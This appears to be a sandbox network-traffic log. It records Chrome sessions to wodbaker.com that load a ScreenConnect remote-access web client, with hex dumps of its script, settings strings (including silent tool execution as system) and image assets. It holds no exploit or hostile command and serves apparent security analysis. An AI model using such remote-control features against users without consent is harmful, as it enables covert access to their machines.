2024-11-22 22:01:00 UTC	16384	IN	Data Raw: 20 3f 20 53 43 2e 63 6f 6e 74 65 78 74 2e 69 6e 73 74 61 6e 63 65 55 72 6c 53 63 68 65 6d 65 20 3a 20 53 43 2e 75 74 69 6c 2e 69 73 43 61 70 61 62 6c 65 28 53 43 2e 75 74 69 6c 2e 43 61 70 73 2e 57 69 6e 64 6f 77 73 4d 6f 64 65 72 6e 29 20 3f 20 22 6d 73 2d 6c 6f 63 61 6c 2d 73 74 72 65 61 6d 22 20 3a 20 22 72 65 6c 61 79 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 67 65 74 53 63 68 65 6d 65 55 72 6c 46 75 6e 63 28 73 63 68 65 6d 65 2c 20 63 6c 70 2c 20 53 43 2e 75 74 69 6c 2e 69 73 43 61 70 61 62 6c 65 28 53 43 2e 75 74 69 6c 2e 43 61 70 73 2e 57 69 6e 64 6f 77 73 44 65 73 6b 74 6f 70 29 20 7c 7c 20 53 43 2e 75 74 69 6c 2e 69 73 43 61 70 61 62 6c 65 28 53 43 2e 75 74 69 6c 2e 43 61 70 73 2e 57 69 6e 64 6f 77 73 Data Ascii: ? SC.context.instanceUrlScheme : SC.util.isCapable(SC.util.Caps.WindowsModern) ? "ms-local-stream" : "relay"; var url = getSchemeUrlFunc(scheme, clp, SC.util.isCapable(SC.util.Caps.WindowsDesktop) \|\| SC.util.isCapable(SC.util.Caps.Windows

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.16	49811	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:01 UTC	392	OUT	GET /Script.ashx?__Cache=20305397-d9ff-4ef3-bcce-3da684ec8881 HTTP/1.1 Host: wodbaker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:02 UTC	410	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=3600 Content-Length: 300381 Content-Type: text/javascript; charset=utf-8 Expires: Fri, 22 Nov 2024 23:01:02 GMT Vary: Accept-Encoding, Accept-Language, Host, X-Forwarded-Host, X-Forwarded-Port, X-Forwarded-Proto Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:02 GMT Connection: close
2024-11-22 22:01:02 UTC	15974	IN	Data Raw: 53 43 20 3d 20 7b 22 73 65 72 76 69 63 65 22 3a 7b 22 47 65 74 52 65 73 6f 75 72 63 65 49 6e 66 6f 22 3a 66 75 6e 63 74 69 6f 6e 20 28 6f 6e 53 75 63 63 65 73 73 2c 20 6f 6e 46 61 69 6c 75 72 65 2c 20 75 73 65 72 43 6f 6e 74 65 78 74 2c 20 75 73 65 72 4e 61 6d 65 4f 76 65 72 72 69 64 65 2c 20 70 61 73 73 77 6f 72 64 4f 76 65 72 72 69 64 65 29 20 7b 0d 0a 72 65 74 75 72 6e 20 53 43 2e 68 74 74 70 2e 69 6e 76 6f 6b 65 53 65 72 76 69 63 65 28 27 53 65 72 76 69 63 65 73 2f 41 70 70 65 61 72 61 6e 63 65 53 65 72 76 69 63 65 2e 61 73 68 78 27 2c 20 27 47 65 74 52 65 73 6f 75 72 63 65 49 6e 66 6f 27 2c 20 5b 5d 2c 20 6f 6e 53 75 63 63 65 73 73 2c 20 6f 6e 46 61 69 6c 75 72 65 2c 20 75 73 65 72 43 6f 6e 74 65 78 74 2c 20 75 73 65 72 4e 61 6d 65 4f 76 65 72 72 69 Data Ascii: SC = {"service":{"GetResourceInfo":function (onSuccess, onFailure, userContext, userNameOverride, passwordOverride) {return SC.http.invokeService('Services/AppearanceService.ashx', 'GetResourceInfo', [], onSuccess, onFailure, userContext, userNameOverri
2024-11-22 22:01:02 UTC	16384	IN	Data Raw: 78 74 2c 20 75 73 65 72 4e 61 6d 65 4f 76 65 72 72 69 64 65 2c 20 70 61 73 73 77 6f 72 64 4f 76 65 72 72 69 64 65 29 20 7b 0d 0a 72 65 74 75 72 6e 20 53 43 2e 68 74 74 70 2e 69 6e 76 6f 6b 65 53 65 72 76 69 63 65 28 27 53 65 72 76 69 63 65 73 2f 50 61 67 65 53 65 72 76 69 63 65 2e 61 73 68 78 27 2c 20 27 47 65 74 45 6c 69 67 69 62 6c 65 48 6f 73 74 73 27 2c 20 5b 5d 2c 20 6f 6e 53 75 63 63 65 73 73 2c 20 6f 6e 46 61 69 6c 75 72 65 2c 20 75 73 65 72 43 6f 6e 74 65 78 74 2c 20 75 73 65 72 4e 61 6d 65 4f 76 65 72 72 69 64 65 2c 20 70 61 73 73 77 6f 72 64 4f 76 65 72 72 69 64 65 29 3b 0d 0a 7d 2c 22 4e 6f 74 69 66 79 41 63 74 69 76 69 74 79 22 3a 66 75 6e 63 74 69 6f 6e 20 28 6f 6e 53 75 63 63 65 73 73 2c 20 6f 6e 46 61 69 6c 75 72 65 2c 20 75 73 65 72 43 6f Data Ascii: xt, userNameOverride, passwordOverride) {return SC.http.invokeService('Services/PageService.ashx', 'GetEligibleHosts', [], onSuccess, onFailure, userContext, userNameOverride, passwordOverride);},"NotifyActivity":function (onSuccess, onFailure, userCo
2024-11-22 22:01:02 UTC	16384	IN	Data Raw: 3a 33 2c 22 41 6e 6e 6f 74 61 74 65 64 45 76 65 6e 74 22 3a 34 2c 22 53 75 63 63 65 73 73 52 65 73 75 6c 74 22 3a 35 2c 22 46 61 69 6c 75 72 65 52 65 73 75 6c 74 22 3a 36 2c 22 43 6f 6e 6e 65 63 74 65 64 22 3a 31 30 2c 22 44 69 73 63 6f 6e 6e 65 63 74 65 64 22 3a 31 31 2c 22 43 72 65 61 74 65 64 53 65 73 73 69 6f 6e 22 3a 32 30 2c 22 44 65 6c 65 74 65 64 53 65 73 73 69 6f 6e 22 3a 32 31 2c 22 49 6e 69 74 69 61 74 65 64 4a 6f 69 6e 22 3a 33 30 2c 22 49 6e 76 69 74 65 64 47 75 65 73 74 22 3a 33 31 2c 22 41 64 64 65 64 4e 6f 74 65 22 3a 33 32 2c 22 51 75 65 75 65 64 52 65 69 6e 73 74 61 6c 6c 22 3a 34 30 2c 22 51 75 65 75 65 64 55 6e 69 6e 73 74 61 6c 6c 22 3a 34 31 2c 22 51 75 65 75 65 64 49 6e 76 61 6c 69 64 61 74 65 4c 69 63 65 6e 73 65 22 3a 34 32 2c 22 Data Ascii: :3,"AnnotatedEvent":4,"SuccessResult":5,"FailureResult":6,"Connected":10,"Disconnected":11,"CreatedSession":20,"DeletedSession":21,"InitiatedJoin":30,"InvitedGuest":31,"AddedNote":32,"QueuedReinstall":40,"QueuedUninstall":41,"QueuedInvalidateLicense":42,"
2024-11-22 22:01:02 UTC	16384	IN	Data Raw: 6e 63 65 64 43 6f 6e 66 69 67 2e 47 75 65 73 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 52 65 66 72 65 73 68 49 6e 74 65 72 76 61 6c 22 3a 22 47 75 65 73 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 52 65 66 72 65 73 68 20 49 6e 74 65 72 76 61 6c 22 2c 22 41 64 76 61 6e 63 65 64 43 6f 6e 66 69 67 2e 47 75 65 73 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 52 65 66 72 65 73 68 49 6e 74 65 72 76 61 6c 2e 43 61 75 74 69 6f 6e 22 3a 22 43 61 75 74 69 6f 6e 3a 20 53 65 74 74 69 6e 67 20 74 68 69 73 20 76 61 6c 75 65 20 6c 6f 77 65 72 20 74 68 61 6e 20 33 30 30 20 73 65 63 6f 6e 64 73 20 6d 61 79 20 61 64 76 65 72 73 65 6c 79 20 61 66 66 65 63 74 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 22 2c 22 41 64 76 61 6e 63 65 64 43 6f 6e 66 69 67 2e 47 75 65 73 74 49 6e 66 6f 72 6d 61 74 69 Data Ascii: ncedConfig.GuestInformationRefreshInterval":"Guest Information Refresh Interval","AdvancedConfig.GuestInformationRefreshInterval.Caution":"Caution: Setting this value lower than 300 seconds may adversely affect performance.","AdvancedConfig.GuestInformati
2024-11-22 22:01:02 UTC	16384	IN	Data Raw: 73 70 65 6e 64 48 6f 73 74 43 6f 6e 74 72 6f 6c 2e 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 50 72 65 76 65 6e 74 20 74 68 65 20 68 6f 73 74 20 66 72 6f 6d 20 63 6f 6e 74 72 6f 6c 6c 69 6e 67 20 74 68 65 20 67 75 65 73 74 5c 75 30 30 32 37 73 20 6b 65 79 62 6f 61 72 64 20 61 6e 64 20 6d 6f 75 73 65 20 75 70 6f 6e 20 69 6e 69 74 69 61 6c 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 2c 22 41 64 76 61 6e 63 65 64 43 6f 6e 66 69 67 2e 53 75 73 70 65 6e 64 4d 79 49 6e 70 75 74 22 3a 22 53 75 73 70 65 6e 64 20 4d 79 20 49 6e 70 75 74 22 2c 22 41 64 76 61 6e 63 65 64 43 6f 6e 66 69 67 2e 53 75 73 70 65 6e 64 4d 79 49 6e 70 75 74 2e 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 50 72 65 76 65 6e 74 73 20 74 68 65 20 68 6f 73 74 20 66 72 6f 6d 20 63 6f 6e 74 72 6f 6c 6c 69 Data Ascii: spendHostControl.Description":"Prevent the host from controlling the guest\u0027s keyboard and mouse upon initial connection.","AdvancedConfig.SuspendMyInput":"Suspend My Input","AdvancedConfig.SuspendMyInput.Description":"Prevents the host from controlli
2024-11-22 22:01:02 UTC	16384	IN	Data Raw: 20 65 78 70 72 65 73 73 69 6f 6e 73 2e 20 54 68 65 20 73 61 6d 65 20 70 72 6f 70 65 72 74 69 65 73 20 63 61 6e 20 62 65 20 75 73 65 64 20 69 6e 73 69 64 65 20 79 6f 75 72 20 61 63 74 69 6f 6e 73 20 74 6f 20 64 69 73 70 6c 61 79 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 65 72 73 20 6f 72 20 70 72 6f 76 69 64 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 65 78 74 65 72 6e 61 6c 20 73 79 73 74 65 6d 73 2e 5c 75 30 30 33 63 2f 70 5c 75 30 30 33 65 5c 72 5c 6e 5c 72 5c 6e 5c 75 30 30 33 63 68 33 5c 75 30 30 33 65 41 76 61 69 6c 61 62 6c 65 20 6f 62 6a 65 63 74 73 2f 70 72 6f 70 65 72 74 69 65 73 5c 75 30 30 33 63 2f 68 33 5c 75 30 30 33 65 5c 72 5c 6e 5c 75 30 30 33 63 74 61 62 6c 65 20 63 6c 61 73 73 3d 5c 22 44 61 74 61 54 61 62 6c 65 5c 22 Data Ascii: expressions. The same properties can be used inside your actions to display information to users or provide information to external systems.\u003c/p\u003e\r\n\r\n\u003ch3\u003eAvailable objects/properties\u003c/h3\u003e\r\n\u003ctable class=\"DataTable\"
2024-11-22 22:01:02 UTC	16384	IN	Data Raw: 61 62 6c 65 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 74 62 6f 64 79 5c 75 30 30 33 65 5c 72 5c 6e 5c 74 5c 75 30 30 33 63 74 72 5c 75 30 30 33 65 5c 75 30 30 33 63 74 64 5c 75 30 30 33 65 53 74 72 69 6e 67 73 5c 75 30 30 33 63 2f 74 64 5c 75 30 30 33 65 5c 75 30 30 33 63 74 64 5c 75 30 30 33 65 51 75 6f 74 65 64 20 77 69 74 68 20 73 69 6e 67 6c 65 20 71 75 6f 74 65 20 63 68 61 72 61 63 74 65 72 20 28 5c 75 30 30 33 63 63 6f 64 65 5c 75 30 30 33 65 5c 75 30 30 32 37 5c 75 30 30 33 63 2f 63 6f 64 65 5c 75 30 30 33 65 29 3b 20 65 73 63 61 70 65 20 73 69 6e 67 6c 65 20 71 75 6f 74 65 73 20 69 6e 73 69 64 65 20 74 68 65 20 73 74 72 69 6e 67 20 77 69 74 68 20 74 77 6f 20 63 6f 6e 73 65 63 75 74 69 76 65 20 73 69 6e 67 6c 65 20 71 75 6f 74 65 73 5c 75 30 30 33 Data Ascii: able\"\u003e\u003ctbody\u003e\r\n\t\u003ctr\u003e\u003ctd\u003eStrings\u003c/td\u003e\u003ctd\u003eQuoted with single quote character (\u003ccode\u003e\u0027\u003c/code\u003e); escape single quotes inside the string with two consecutive single quotes\u003
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 65 66 74 3b 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 20 73 74 79 6c 65 3d 5c 22 6d 61 72 67 69 6e 3a 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 73 74 79 6c 65 3d 5c 22 63 6f 6c 6f 72 3a 20 72 67 62 28 31 35 33 2c 20 31 35 33 2c 20 31 35 33 29 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 36 70 78 3b 5c 22 5c 75 30 30 33 65 4f 72 20 75 73 65 20 74 68 69 73 20 6c 69 6e 6b 3a 5c 75 30 30 33 63 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 2f 70 5c 75 30 30 33 65 5c 75 30 30 33 63 2f 64 69 76 5c 75 30 30 33 65 5c 72 5c 6e Data Ascii: eft;\"\u003e\u003cp style=\"margin: 0;font-size: 14px;line-height: 17px;text-align: center\"\u003e\u003cspan style=\"color: rgb(153, 153, 153); font-size: 14px; line-height: 16px;\"\u003eOr use this link:\u003c/span\u003e\u003c/p\u003e\u003c/div\u003e\r\n
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 20 6f 6e 20 74 68 65 20 72 65 6d 6f 74 65 20 73 79 73 74 65 6d 2e 20 54 68 65 20 74 6f 6f 6c 20 77 69 6c 6c 20 62 65 20 72 75 6e 20 77 68 65 6e 20 74 68 65 20 6d 61 63 68 69 6e 65 20 69 73 20 63 6f 6e 6e 65 63 74 65 64 2e 22 2c 22 43 6f 6d 6d 61 6e 64 2e 52 75 6e 54 6f 6f 6c 2e 54 65 78 74 22 3a 22 52 75 6e 20 54 6f 6f 6c 22 2c 22 43 6f 6d 6d 61 6e 64 2e 53 65 6c 65 63 74 41 63 63 65 73 73 4d 61 6e 61 67 65 6d 65 6e 74 2e 54 65 78 74 22 3a 22 41 63 63 65 73 73 20 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 43 6f 6d 6d 61 6e 64 2e 53 65 6c 65 63 74 43 61 6c 65 6e 64 61 72 2e 54 65 78 74 22 3a 22 43 61 6c 65 6e 64 61 72 22 2c 22 43 6f 6d 6d 61 6e 64 2e 53 65 6c 65 63 74 43 6f 64 65 2e 54 65 78 74 22 3a 22 43 6f 64 65 22 2c 22 43 6f 6d 6d 61 6e 64 2e 53 65 6c 65 Data Ascii: on the remote system. The tool will be run when the machine is connected.","Command.RunTool.Text":"Run Tool","Command.SelectAccessManagement.Text":"Access Management","Command.SelectCalendar.Text":"Calendar","Command.SelectCode.Text":"Code","Command.Sele
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 65 64 54 6f 6f 6c 41 73 53 79 73 74 65 6d 53 69 6c 65 6e 74 6c 79 5c 75 30 30 33 63 2f 74 64 5c 75 30 30 33 65 5c 75 30 30 33 63 74 64 5c 75 30 30 33 65 41 6c 6c 6f 77 73 20 61 20 68 6f 73 74 20 74 6f 20 72 75 6e 20 61 20 73 68 61 72 65 64 20 74 6f 6f 6c 20 61 73 20 73 79 73 74 65 6d 20 75 73 65 72 20 77 69 74 68 6f 75 74 20 65 6e 64 20 75 73 65 72 20 69 6e 74 65 72 61 63 74 69 6f 6e 2e 5c 75 30 30 33 63 2f 74 64 5c 75 30 30 33 65 5c 75 30 30 33 63 2f 74 72 5c 75 30 30 33 65 5c 72 5c 6e 5c 75 30 30 33 63 74 72 5c 75 30 30 33 65 5c 75 30 30 33 63 74 64 5c 75 30 30 33 65 52 75 6e 50 65 72 73 6f 6e 61 6c 54 6f 6f 6c 41 73 55 73 65 72 5c 75 30 30 33 63 2f 74 64 5c 75 30 30 33 65 5c 75 30 30 33 63 74 64 5c 75 30 30 33 65 41 6c 6c 6f 77 73 20 61 20 68 6f 73 74 Data Ascii: edToolAsSystemSilently\u003c/td\u003e\u003ctd\u003eAllows a host to run a shared tool as system user without end user interaction.\u003c/td\u003e\u003c/tr\u003e\r\n\u003ctr\u003e\u003ctd\u003eRunPersonalToolAsUser\u003c/td\u003e\u003ctd\u003eAllows a host

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.16	49817	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:02 UTC	742	OUT	POST /Services/PageService.ashx/GetLiveData HTTP/1.1 Host: wodbaker.com Connection: keep-alive Content-Length: 60 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-Anti-Forgery-Token: Op28yeRftxnFP552lb7QlYT51NUyLUXNTju1xHjU1LoBAAC61jLspb0tQg== sec-ch-ua-mobile: ?0 X-Unauthorized-Status-Code: 403 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://wodbaker.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://wodbaker.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:02 UTC	60	OUT	Data Raw: 5b 7b 22 47 75 65 73 74 53 65 73 73 69 6f 6e 49 6e 66 6f 22 3a 7b 22 73 65 73 73 69 6f 6e 43 6f 64 65 73 22 3a 5b 5d 2c 22 73 65 73 73 69 6f 6e 49 44 73 22 3a 5b 5d 7d 7d 2c 30 5d Data Ascii: [{"GuestSessionInfo":{"sessionCodes":[],"sessionIDs":[]}},0]
2024-11-22 22:01:03 UTC	387	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 143 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Access-Control-Allow-Origin: https://wodbaker.com Access-Control-Allow-Credentials: true Date: Fri, 22 Nov 2024 22:01:02 GMT Connection: close
2024-11-22 22:01:03 UTC	143	IN	Data Raw: 7b 22 56 65 72 73 69 6f 6e 22 3a 33 35 37 37 37 35 30 36 38 2c 22 50 72 6f 64 75 63 74 56 65 72 73 69 6f 6e 22 3a 22 32 34 2e 33 2e 37 2e 39 30 36 37 22 2c 22 52 65 73 70 6f 6e 73 65 49 6e 66 6f 4d 61 70 22 3a 7b 22 47 75 65 73 74 53 65 73 73 69 6f 6e 49 6e 66 6f 22 3a 7b 22 44 6f 4e 6f 6e 50 75 62 6c 69 63 43 6f 64 65 53 65 73 73 69 6f 6e 73 45 78 69 73 74 22 3a 74 72 75 65 2c 22 53 65 73 73 69 6f 6e 73 22 3a 5b 5d 7d 7d 7d Data Ascii: {"Version":357775068,"ProductVersion":"24.3.7.9067","ResponseInfoMap":{"GuestSessionInfo":{"DoNonPublicCodeSessionsExist":true,"Sessions":[]}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.16	49813	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:02 UTC	708	OUT	GET /App_Themes/DarkTeal/Default.css?r=Page.Background&__Cache=57459 HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://wodbaker.com/App_Themes/DarkTeal/Default.css?__Cache=08be1136-3add-4a73-9d52-6ce1585c7407 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:03 UTC	314	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=3600 Content-Length: 57459 Content-Type: image/svg+xml Expires: Fri, 22 Nov 2024 23:01:02 GMT Vary: Accept-Encoding Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:02 GMT Connection: close
2024-11-22 22:01:03 UTC	16070	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 36 30 30 22 20 68 65 69 67 68 74 3d 22 31 39 30 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 61 29 22 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 30 20 30 68 32 36 30 30 76 31 39 30 30 48 30 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 75 72 6c 28 23 62 29 22 20 64 3d 22 4d 32 36 31 31 2d 32 33 48 2d 37 76 39 37 36 68 32 36 31 38 56 2d 32 33 5a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 75 72 6c 28 23 63 29 22 20 64 3d 22 4d 2d 35 31 2e 33 20 31 37 36 33 48 32 36 36 39 56 39 35 38 48 2d 35 31 2e 33 76 38 30 35 5a 22 2f 3e 3c 70 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="2600" height="1900" fill="none"><g clip-path="url(#a)"><path fill="#fff" d="M0 0h2600v1900H0z"/><path fill="url(#b)" d="M2611-23H-7v976h2618V-23Z"/><path fill="url(#c)" d="M-51.3 1763H2669V958H-51.3v805Z"/><p
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 2e 37 20 32 2e 36 20 31 38 2e 34 20 32 2e 36 20 32 35 2e 35 20 37 2e 37 20 34 38 2e 34 20 33 34 2e 38 20 39 39 2e 33 20 35 30 2e 38 20 31 35 30 2e 32 20 37 34 2e 34 5a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 45 45 45 22 20 64 3d 22 4d 31 31 30 37 20 36 31 39 2e 33 61 39 38 20 39 38 20 30 20 30 20 30 2d 31 37 2e 32 2d 32 31 63 2d 33 2e 37 2d 33 2e 38 20 32 2e 35 2d 31 33 2e 37 20 30 2d 31 38 2e 37 2d 31 2e 33 2d 32 2e 35 2d 31 30 20 30 2d 31 33 2e 37 2d 35 20 31 2e 34 2d 2e 35 20 32 2e 38 2d 31 2e 31 20 34 2d 31 2e 38 2d 37 2e 33 20 32 2e 32 2d 37 2e 37 2d 32 2e 37 2d 37 2e 37 2d 32 2e 37 2d 31 35 2e 34 2d 31 36 2e 33 2d 32 39 2e 32 2d 32 30 2e 31 2d 34 30 2e 35 2d 31 38 2e 36 20 35 2e 32 20 35 2e 32 20 31 30 20 31 30 2e 36 20 37 20 31 34 2e 35 2d Data Ascii: .7 2.6 18.4 2.6 25.5 7.7 48.4 34.8 99.3 50.8 150.2 74.4Z"/><path fill="#EEE" d="M1107 619.3a98 98 0 0 0-17.2-21c-3.7-3.8 2.5-13.7 0-18.7-1.3-2.5-10 0-13.7-5 1.4-.5 2.8-1.1 4-1.8-7.3 2.2-7.7-2.7-7.7-2.7-15.4-16.3-29.2-20.1-40.5-18.6 5.2 5.2 10 10.6 7 14.5-
2024-11-22 22:01:03 UTC	16384	IN	Data Raw: 33 2e 32 20 33 2e 32 6c 2d 38 2e 33 20 39 2e 32 73 2d 31 2e 31 20 31 2e 39 2d 31 2e 31 20 32 2e 35 63 30 20 2e 37 2d 32 2e 32 20 34 2e 33 2d 32 2e 32 20 34 2e 33 73 2d 33 20 34 2e 34 2d 33 20 35 2e 33 63 2e 32 2e 39 2d 33 2e 36 20 32 2e 32 2d 35 2e 36 20 33 2d 32 20 31 2d 33 20 2e 37 2d 33 20 2e 37 6c 2d 2e 36 2d 33 20 32 2e 38 2d 2e 33 63 32 2e 38 2d 2e 33 2e 34 2d 31 2e 33 20 30 2d 31 2e 36 2d 2e 34 2d 2e 32 2d 31 2e 34 2d 31 2e 34 2d 32 2e 31 2d 32 2d 2e 37 2d 2e 34 2d 31 2d 2e 34 2d 33 2d 31 2d 32 2d 2e 34 2d 31 2e 35 2d 31 2e 38 2d 31 2e 35 2d 31 2e 38 73 2d 2e 32 2d 31 2e 38 2e 36 2d 32 2e 34 63 2e 38 2d 2e 36 20 30 20 30 20 2e 38 2d 2e 31 2e 38 2d 2e 32 20 32 2d 2e 32 20 33 2d 2e 32 20 31 2e 32 20 30 20 34 2e 35 2d 31 20 34 2e 35 2d 31 73 2d 32 2e Data Ascii: 3.2 3.2l-8.3 9.2s-1.1 1.9-1.1 2.5c0 .7-2.2 4.3-2.2 4.3s-3 4.4-3 5.3c.2.9-3.6 2.2-5.6 3-2 1-3 .7-3 .7l-.6-3 2.8-.3c2.8-.3.4-1.3 0-1.6-.4-.2-1.4-1.4-2.1-2-.7-.4-1-.4-3-1-2-.4-1.5-1.8-1.5-1.8s-.2-1.8.6-2.4c.8-.6 0 0 .8-.1.8-.2 2-.2 3-.2 1.2 0 4.5-1 4.5-1s-2.
2024-11-22 22:01:03 UTC	8621	IN	Data Raw: 36 20 33 36 20 30 20 30 20 31 2d 31 2e 37 20 32 2e 33 63 2d 2e 39 20 31 2d 32 2e 34 20 31 2e 39 2d 33 2e 31 20 31 2e 36 2d 2e 38 2d 2e 32 2d 31 2e 37 2d 31 2e 32 2d 32 2e 31 2d 32 2e 33 61 38 2e 36 20 38 2e 36 20 30 20 30 20 30 2d 31 2e 36 2d 33 2e 31 6c 2d 32 2d 31 63 2d 31 2d 2e 33 2d 32 2e 32 2d 31 2d 32 2e 38 2d 31 2e 34 2d 31 2e 32 2d 2e 38 2d 31 2e 33 2d 2e 39 2d 31 2e 36 2d 2e 36 5a 4d 31 39 37 31 2e 32 20 35 33 37 2e 36 63 2d 2e 34 2e 34 2d 33 20 2e 36 2d 35 2e 38 2e 35 2d 34 2e 33 20 30 2d 35 2e 37 2e 34 2d 39 2e 36 20 33 2e 34 2d 32 2e 35 20 32 2d 35 2e 32 20 33 2e 35 2d 36 20 33 2e 35 2d 2e 37 20 30 2d 31 2e 33 2e 35 2d 31 2e 33 20 31 20 30 20 31 2e 35 20 35 20 2e 32 20 38 2e 32 2d 32 2e 31 20 31 2e 37 2d 31 2e 32 20 34 2e 34 2d 31 2e 39 20 37 Data Ascii: 6 36 0 0 1-1.7 2.3c-.9 1-2.4 1.9-3.1 1.6-.8-.2-1.7-1.2-2.1-2.3a8.6 8.6 0 0 0-1.6-3.1l-2-1c-1-.3-2.2-1-2.8-1.4-1.2-.8-1.3-.9-1.6-.6ZM1971.2 537.6c-.4.4-3 .6-5.8.5-4.3 0-5.7.4-9.6 3.4-2.5 2-5.2 3.5-6 3.5-.7 0-1.3.5-1.3 1 0 1.5 5 .2 8.2-2.1 1.7-1.2 4.4-1.9 7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.16	49815	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:01:02 UTC	586	OUT	GET /Images/Extras.svg HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://wodbaker.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:01:03 UTC	368	IN	HTTP/1.1 200 OK Cache-Control: public Content-Length: 322 Content-Type: image/svg+xml Expires: Sat, 23 Nov 2024 20:40:47 GMT Last-Modified: Wed, 24 Jul 2024 01:11:42 GMT Accept-Ranges: bytes ETag: "1DADD6671699B00" Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:01:02 GMT Connection: close
